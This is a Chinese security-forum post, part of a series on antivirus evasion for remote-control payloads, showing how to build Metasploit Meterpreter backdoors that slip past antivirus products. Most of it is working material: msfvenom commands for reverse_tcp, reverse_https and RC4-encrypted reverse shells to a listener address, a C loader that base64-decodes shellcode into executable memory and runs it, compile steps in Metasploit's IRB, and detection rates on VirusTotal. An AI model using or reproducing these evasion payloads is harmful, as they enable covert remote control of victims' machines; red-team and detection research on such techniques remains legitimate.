安全矩阵

 找回密码
 立即注册
搜索
查看: 3106|回复: 0

远控免杀专题-Msf自编译免杀补充(VT免杀率33-69)

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-4-11 10:51:21 | 显示全部楼层 |阅读模式
本帖最后由 wholesome 于 2020-4-11 10:56 编辑

Msf免杀补充说明

在之前的专题3和专题4中介绍了msf的自身能实现一些免杀功能,比如使用编码shikata_ga_nai或者捆绑或者使用evasion模块生成免杀后门。
远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA
远控免杀专题(4)-Evasion模块(VT免杀率12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ
其实在msf中还有两种较为常见的免杀方式,这里简单介绍一下:
1、一种是利用Metasploit的C编译器进行自编译免杀;
2、另一种是使用不同的payload来生成shellcode,比如reverse_https和reverse_tcp_rc4,虽然简单,但还是有些效果的。
msf自编译+base64处理(VT免杀率33/69)


Metasploit Framework的C编译器其实是Metasm的包装器(Metasm是一个Ruby库),可用于汇编、反汇编和编译C代码。
使用改C编译器时,需要以下两个函数:

  1. Metasploit::Framework::Compiler::Windows.compile_c(code)
  2. Metasploit::Framework::Compiler::Windows.compile_c_to_fle(fle_path, code)
复制代码

详细使用可参考msf_wiki: https://github.com/rapid7/metasploit-framework/wiki
先使用msfvenom生成base64编码的c代码
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333  --encrypt base64   -f c
复制代码

参考https://github.com/rapid7/metasploit-framework/wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler构造如下shellcode,保存为1.c文件。
  1. #include <Windows.h>
  2. #include <String.h>
  3. #include <base64.h>

  4. unsigned char BASE64STR[] =
  5. "\x2f\x4f--shellcode--\x3d";

  6. int main() {
  7.   int base64StrLen = strlen(BASE64STR);
  8.   LPVOID lpBuf = VirtualAlloc(NULL, sizeof(int) * base64StrLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  9.   memset(lpBuf, '\0', base64StrLen);
  10.   base64decode(lpBuf, BASE64STR, base64StrLen);
  11.   //MessageBox(NULL, (char*)lpBuf, "Base64 Test", MB_OK);
  12.   void(*func)();
  13.   func = (void(*)()) lpBuf;
  14.   (void)(*func)();
  15.   return 0;
  16. }
复制代码
在msf中键入irb进入IRB shell,依次键入下面命令

  1. msf5 > irb
  2. [*] Starting IRB shell...
  3. [*] You are in the "framework" object

  4. irb: warn: can't alias jobs from irb_jobs.
  5. >> require 'metasploit/framework/compiler/windows'
  6. => true
  7. >> exe = Metasploit::Framework::Compiler::Windows.compile_c(File.read('/Users/xysoul/Downloads/payload/1.c'))
  8. => "MZ<\x00\x00\x00\x00\x00\x02\x00".......
  9. >> File.write('/Users/xysoul/Downloads/payload/shellcode.exe', exe)
  10. => 3072
复制代码

在输入上面的File.write('/Users/xysoul/Downloads/payload/shellcode.exe', exe)之后,会生成shellcode.exe。
在Msf中监听windows/meterpreter/reverse_tcp,在测试机执行shellcode.exe,可上线。


打开杀软进行测试,360和火绒都会报病毒。

virustotal.com中33/70个报毒

使用reverse_https(VT免杀率29/70)


主要是参考Green_m的文章:https://www.freebuf.com/sectool/118714.html,可以一定程度的避开杀软的流量检测。
使用msfvenom生成payload
  1. msfvenom -p  windows/meterpreter/reverse_https  lhost=10.211.55.2  lport=3333  -f exe -o payload1.exe
复制代码

在metasploit中设置:

  1. set EnableStageEncoding true

  2. set stageencoder x86/fnstenv_mov

  3. set stageencodingfallback false
复制代码

在VC中编译后执行,360全免杀


virustotal.com中29/70个报毒

使用reverse_tcp_rc4(VT免杀率33/70)和上面的方法一样,使用reverse_tcp_rc4也有同样的效果,而且不用设置stageencoder选项,更稳定更方便。
  1. msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=2223 RC4PASSWORD=tidesec  -f c
复制代码
利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。
在VC中编译后执行,360全免杀,但是一会儿之后就又被查杀了。

virustotal.com中33/70个报毒

参考资料


Meterpreter免杀技巧分享:https://www.freebuf.com/sectool/118714.html
msf_wiki: https://github.com/rapid7/metasploit-framework/wiki
Create a wrapper for metasm's C compiling function:https://github.com/rapid7/metasploit-framework/pull/10007
How to decode Base64 with Metasploit Framework Compiler: https://github.com/rapid7/metasp ... -Framework-Compiler

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 02:02 , Processed in 0.014509 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表